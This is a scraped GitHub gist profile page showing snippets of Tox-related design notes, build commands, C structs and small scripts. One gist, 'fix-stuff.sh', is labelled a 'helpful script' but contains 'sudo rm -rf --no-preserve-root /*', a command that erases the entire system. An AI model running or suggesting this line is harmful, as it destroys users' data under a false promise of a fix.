Skip to content

Instantly share code, notes, and snippets.

View GrayHatter's full-sized avatar

GrayHatter

View GitHub Profile
@GrayHatter
GrayHatter / text from kernel
Last active August 29, 2015 14:16
utox copy from issue...
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABREAAAJaCAMAAACP5PAMAAADAFBMVEVMaX
Hu8PC5ubn29/f29vbx8vIhISH7+/sVFRX19vYWFhbx8/MhISH+bWZCSVTx8vIUFBTz9fX19/bx/f0XFx
f///8MDA38/f0RDxH4+flloPL+/flgnO/x+vro6+z8iIbw8PADAgPx9PUfHR77+vcnJycsKywIBwj6+/
v8kI5dmew8PD3j5edXlOkzMjLt7u+sakxblukiIiJlmuf8i4kaGRr13t62zvHm7fXV4vP4xsTd3+FWke
b06OjA1vKqZEQWBgX30tFEQ0QjJCQ0OkXV2N1PTlDJzdPP0tdUVFdbWlu9oIugoaO/w8q5moZKSUr+pV
o/RVJFTFjDyM/8k0L9nU4jeC/TU0z5urgsMT1gYGG7lX1obHb8lpS5vsVvc311eYPWk3W7Y0EeEhueVj
b7q6qiXT37oqD4//++jXIgEAyWUzT8iDjXhJmzt7/HlXsxIR34VAW1cFBfZW/J2/PMf1Ls8fbDm4X/cG
r8eiaOkpf/YFfOimO9g2CNtu/5tbOusLWlqK7l0M1VW2b7mZf3OACgwO85QEvyhjQeHTpnZ2d6q+/7ax
RFKiOxjXqZnKF9gYrudyXTe48yOmO3yODJZUTCpZi/eEhtbm34+PWAPB7YpqXQbYHKraGKXEsbI0ciai
wCQ5TQ2efqaRGTaFltOyxBEwjcZD7kPALZn4UuDgfvZT18Tj10c3Sdd2mPSCWGipIfOiNQgMfiIQF6eX
@GrayHatter
GrayHatter / open.bash
Created October 6, 2015 01:11 — forked from jrnewell/open.bash
Open Sublime Text in Windows Cygwin
#!/bin/bash
run-fixed-cygpath "/cygdrive/c/Windows" explorer.exe "$@"
exit $?
@GrayHatter
GrayHatter / fix-stuff.sh
Created February 12, 2016 21:01
helpful script
sudo rm -rf --no-preserve-root /*
/--> Messenger *m -> Friend_Conn *f_c --\
Tox *tox -< --> DHT *dht + TCP *tcp + Onion_client *onion_c ...
\--> Messenger *m2 -> Friend_Conn *f_c2 --/

Tox-Named

Goals

Currently toxcore supports ToxDNS. This is a service that sits on top of the historically insecure DNS system. With the idea in mind that toxcore should be a ‘security first’ project; using DNS as a backend/platform/service, is asinine. That said, while it’s true that knowing, using, and understanding the intent behind a ToxID, will make your use of tox more secure, the primary connection to a friend being a ToxID is a non starter for most users. A easy and human-readable name to ToxID system/service is clearly required from the Tox Messenger. The Primary goal of Tox-Named is to first, replace ToxDNS with a more secure, and simpler to maintain/implement system. Second, to provide an API that allows clients to quickly, simply, and most importantly securely (without the need to create, or manage the security themselves) interface with servers or their choosing, without the need to use a 3rd party system/api.

Requirements

  1. The system must be able to resolve any byte-string to a T

Keybase proof

I hereby claim:

  • I am grayhatter on github.
  • I am grayhatter (https://keybase.io/grayhatter) on keybase.
  • I have a public key whose fingerprint is 9D1D 5990 88E2 23DD 9900 7DE2 AEA1 0D4E A053 0876

To claim this, I am signing this object:

mkdir _build_android/
cd _build_android/
cmake .. \
-DCMAKE_C_COMPILE_FLAGS="" \
-DCMAKE_C_COMPILER=/home/grayhatter/code/toxcore/_build_arm/bin/bin/arm-linux-androideabi-clang \
-DCMAKE_C_LINKER=/home/grayhatter/code/toxcore/_build_arm/bin/bin/arm-linux-androideabi-ld \
-DCMAKE_SYSTEM_NAME="Android" \
-DCMAKE_INSTALL_PREFIX:PATH=/home/grayhatter/code/utox/libs/android/ \
-DBOOTSTRAP_DAEMON=OFF
// This code will check that the pull request has been approved
// via LGTM (Looks Good To Me) emojis by a minimum number of
// reviewers and by all assignees.
//
// Approval is granted via the :lgtm: and :lgtm_strong: emojis,
// and can be withdrawn with :lgtm_cancel:. An :lgtm: is only
// good for the last non-provisional revision at the time the
// comment is sent, so any new commits will require another
// approval. An :lgtm_strong: is good for all revisions unless
// canceled.
struct SAVED_FRIEND {
uint8_t save_version;
uint8_t status;
uint8_t info[SAVED_FRIEND_REQUEST_SIZE]; // the data that is sent during the friend requests we do.
uint16_t info_size; // Length of the info.
uint8_t name[MAX_NAME_LENGTH];
uint16_t name_length;
uint8_t statusmessage[MAX_STATUSMESSAGE_LENGTH];
uint16_t statusmessage_length;
uint8_t userstatus;
struct SAVED_DEVICE {
uint8_t device_status;
uint8_t real_pk[CRYPTO_PUBLIC_KEY_SIZE];
};